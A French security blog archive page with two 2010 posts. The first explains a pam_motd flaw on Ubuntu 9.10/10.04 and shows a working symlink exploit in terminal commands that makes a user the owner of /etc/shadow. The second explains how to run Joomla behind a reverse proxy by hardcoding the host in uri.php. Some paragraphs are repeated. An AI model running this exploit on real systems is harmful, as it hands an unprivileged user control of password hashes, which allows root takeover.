2010-07 Archives
08-07-2010 21:03:07
[Secu] Vulnerabilite pam_motd sur Ubuntu
La vulnérabilité du jour concerne le module pam_motd sur Ubuntu 9.10 et 10.04 et a été trouvée par Denis Excoffier
Ce module sert à afficher le /etc/motd lors d'une connexion d'un user. A la première connexion d'un user, le module pam_motd va créé un fichier ~/.cache/motd.legal-notice afin de ne pas réafficher le motd lors des futures connexions. Seulement le module a des privilèges important et du coup va modifier les droits si on remplace le répertoire .cache/ par un lien sympbolique vers le fichier de son choix ayant meme les droits root. Ainsi si l'on souhaite modifier le /etc/shadow afin de modifier le pass root il suffit de faire :
Have fun.
Ce module sert à afficher le /etc/motd lors d'une connexion d'un user. A la première connexion d'un user, le module pam_motd va créé un fichier ~/.cache/motd.legal-notice afin de ne pas réafficher le motd lors des futures connexions. Seulement le module a des privilèges important et du coup va modifier les droits si on remplace le répertoire .cache/ par un lien sympbolique vers le fichier de son choix ayant meme les droits root. Ainsi si l'on souhaite modifier le /etc/shadow afin de modifier le pass root il suffit de faire :
cloud@pentest:~$ ls -l /etc/shadow -rw-r----- 1 root root 1362 2010-07-08 19:31 /etc/shadow cloud@pentest:~$ rm -rf .cache cloud@pentest:~$ ln -s /etc/shadow .cache cloud@pentest:~$ ssh localhost cloud@localhost's password: Linux pentest 2.6.31-22-generic #60-Ubuntu SMP Thu May 27 00:22:23 UTC 2010 i686 To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ .................. .................. Last login: Thu Jul 8 20:47:58 2010 from localhost cloud@pentest:~$ ls -l /etc/shadow -rw-r----- 1 cloud cloud 1362 2010-07-08 19:31 /etc/shadowMettez a jour votre distrib.
Have fun.
03-07-2010 23:23:25
Utiliser Joomla derriere un Reverse Proxy
J'avais testé vite fait en 2008 d'installer un Joomla derrière un Reverse Proxy sans succès. Aujourd'hui j'ai encore eu ce besoin donc
j'ai un peu plus insisté pour finalement y arriver. Voici comment :
L'architecture ressemble à ceci :
Joomla indique depuis la version 1.5.1 que la configuration a été simplifiée pour etre utilisé derrière un RP. Cependant personnellement je n'ai pas réussi comme eux le préconise. Pour moi il suffit juste d'indiquer dans le fichier configuration.php la valeur de la variable $live_site en donnant l'url publique. Après plusieurs tests, rien n'y fait. Ca ne marche pas.
Je ne suis pas un utilisateur aguerri de Joomla donc après quelques recherches, je suis tombé sur cette explication. J'ai test mais sans succès. Voyant que c'est quand meme ce fichier uri.php qui semble générer tous les liens du site et les appels divers, j'ai testé de le modifier en insérant l'url en dur et la : Bingo !
Il faut donc modifier la page /home/sitejoomla/libraries/joomla/environment/uri.php en modifiant la variable $_SERVER['HTTP_HOST'] par l'adresse du site public en dur comme ceci :
L'architecture ressemble à ceci :
client ------- RP Apache (mod_proxy + mod_security) ---------- Nginx1er test pour etre sur que le problème vient de Joomla, j'ajoute une page vide dans le répertoire du site et je test d'y accéder avec succès. Le problème vient donc bien du CMS.
Joomla indique depuis la version 1.5.1 que la configuration a été simplifiée pour etre utilisé derrière un RP. Cependant personnellement je n'ai pas réussi comme eux le préconise. Pour moi il suffit juste d'indiquer dans le fichier configuration.php la valeur de la variable $live_site en donnant l'url publique. Après plusieurs tests, rien n'y fait. Ca ne marche pas.
Je ne suis pas un utilisateur aguerri de Joomla donc après quelques recherches, je suis tombé sur cette explication. J'ai test mais sans succès. Voyant que c'est quand meme ce fichier uri.php qui semble générer tous les liens du site et les appels divers, j'ai testé de le modifier en insérant l'url en dur et la : Bingo !
Il faut donc modifier la page /home/sitejoomla/libraries/joomla/environment/uri.php en modifiant la variable $_SERVER['HTTP_HOST'] par l'adresse du site public en dur comme ceci :
* Since we are assigning the URI from the server variables, we first need * to determine if we are running on apache or IIS. If PHP_SELF and REQUEST_URI * are present, we will assume we are running on apache. */ if (!empty ($_SERVER['PHP_SELF']) && !empty ($_SERVER['REQUEST_URI'])) { /* * To build the entire URI we need to prepend the protocol, and the http host * to the URI string. */ $theURI = 'http' . $https . 'www.site-public.com' . $_SERVER['REQUEST_URI'];Have fun.